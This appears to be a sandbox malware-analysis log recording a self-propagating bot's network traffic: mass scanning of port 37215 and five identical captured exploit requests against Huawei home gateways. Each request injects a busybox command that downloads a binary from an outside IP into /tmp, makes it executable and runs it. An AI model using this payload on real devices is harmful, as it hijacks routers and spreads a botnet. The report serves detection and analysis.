Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.92.244.205:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.202.185.79:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.165.191.58:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.158.140.57:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.255.209.135:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.239.78.62:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.127.47.252:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.110.112.255:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.111.165.219:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 133.243.102.56:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.96.6.152:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.193.28.103:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.123.177.45:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.21.101.181:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.215.130.71:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.212.75.1:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.99.112.245:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.6.135.37:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.129.24.121:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.128.86.83:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 154.130.125.16:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.90.157.132:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 39.168.123.68:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.248.31.241:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 153.129.89.28:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.214.41.217:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 198.174.47.54:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.36.216.177:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.40.71.235:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 176.98.142.130:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.126.167.179:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.3.155.238:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.94.236.228:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 4.136.57.230:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.19.44.150:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.138.77.208:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.49.54.172:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 90.187.190.180:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.246.144.6:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.127.249.104:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.166.118.133:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.200.103.100:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.140.21.3:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 168.97.114.142:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.74.65.131:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.103.122.74:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.165.70.248:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.135.152.246:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.138.18.61:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.108.248.89:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 130.56.207.174:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 8.157.249.207:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 143.207.209.194:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.61.129.204:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.101.158.67:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.137.115.61:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.6.153.101:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.129.12.206:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 213.199.108.76:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.243.63.133:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.35.166.173:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.132.223.177:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.118.193.109:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.253.117.118:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.216.235.244:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.175.147.159:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.46.212.99:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 2.37.1.53:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 24.103.168.2:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.205.59.126:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.24.151.13:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.236.64.54:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.233.68.199:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.95.214.214:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.246.88.239:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 105.101.7.193:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 74.64.143.194:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.100.245.210:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.154.219.236:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.33.17.110:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.99.129.61:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.186.80.151:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.83.57.111:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 205.52.233.153:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 120.83.16.229:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 182.129.109.98:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 48.136.163.117:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 68.75.192.87:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.135.101.151:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.239.82.15:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.32.176.77:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.12.144.240:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 223.46.107.42:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 170.183.123.36:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.18.195.205:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.142.134.5:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.19.68.87:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.92.95.132:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.219.155.65:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.42.5.164:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.49.234.78:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.204.15.133:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.82.131.93:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.245.191.88:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.5.75.236:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 90.64.226.123:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.209.95.186:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.137.45.234:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.69.234.108:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.196.107.96:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.74.238.28:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.7.123.73:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.167.95.138:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.107.242.233:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.197.241.29:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.16.182.79:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.85.199.86:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.48.175.116:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.129.174.72:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 104.59.252.100:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.103.236.242:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.31.193.171:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.34.34.148:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.113.186.12:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 131.1.124.206:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.198.179.2:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.247.175.84:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 107.199.148.78:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.200.6.159:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.162.75.217:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.188.174.69:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 121.14.34.243:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.144.91.100:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.94.233.142:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.232.125.225:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.106.204.183:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.77.215.193:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.71.155.224:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.175.158.108:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.179.37.21:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 178.8.219.3:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.107.192.187:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.173.201.209:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.94.14.180:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.237.173.113:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.70.214.41:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.22.77.191:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.1.136.140:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.34.244.170:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.248.51.250:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.197.18.183:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.88.77.124:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.73.169.218:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.67.35.218:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.60.90.98:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 121.120.67.117:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.166.70.190:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.13.197.184:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.109.165.102:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.214.162.179:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.147.53.226:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.241.206.77:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.177.145.183:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.112.78.136:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.225.220.58:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.226.140.142:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.106.156.217:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.55.158.226:37215
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Source: unknown DNS traffic detected: query: BC@^]B replaycode: Name error (3)
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 96.126.75.168
Source: unknown TCP traffic detected without corresponding DNS query: 135.29.85.160
Source: unknown TCP traffic detected without corresponding DNS query: 157.165.157.167
Source: unknown TCP traffic detected without corresponding DNS query: 197.218.72.255
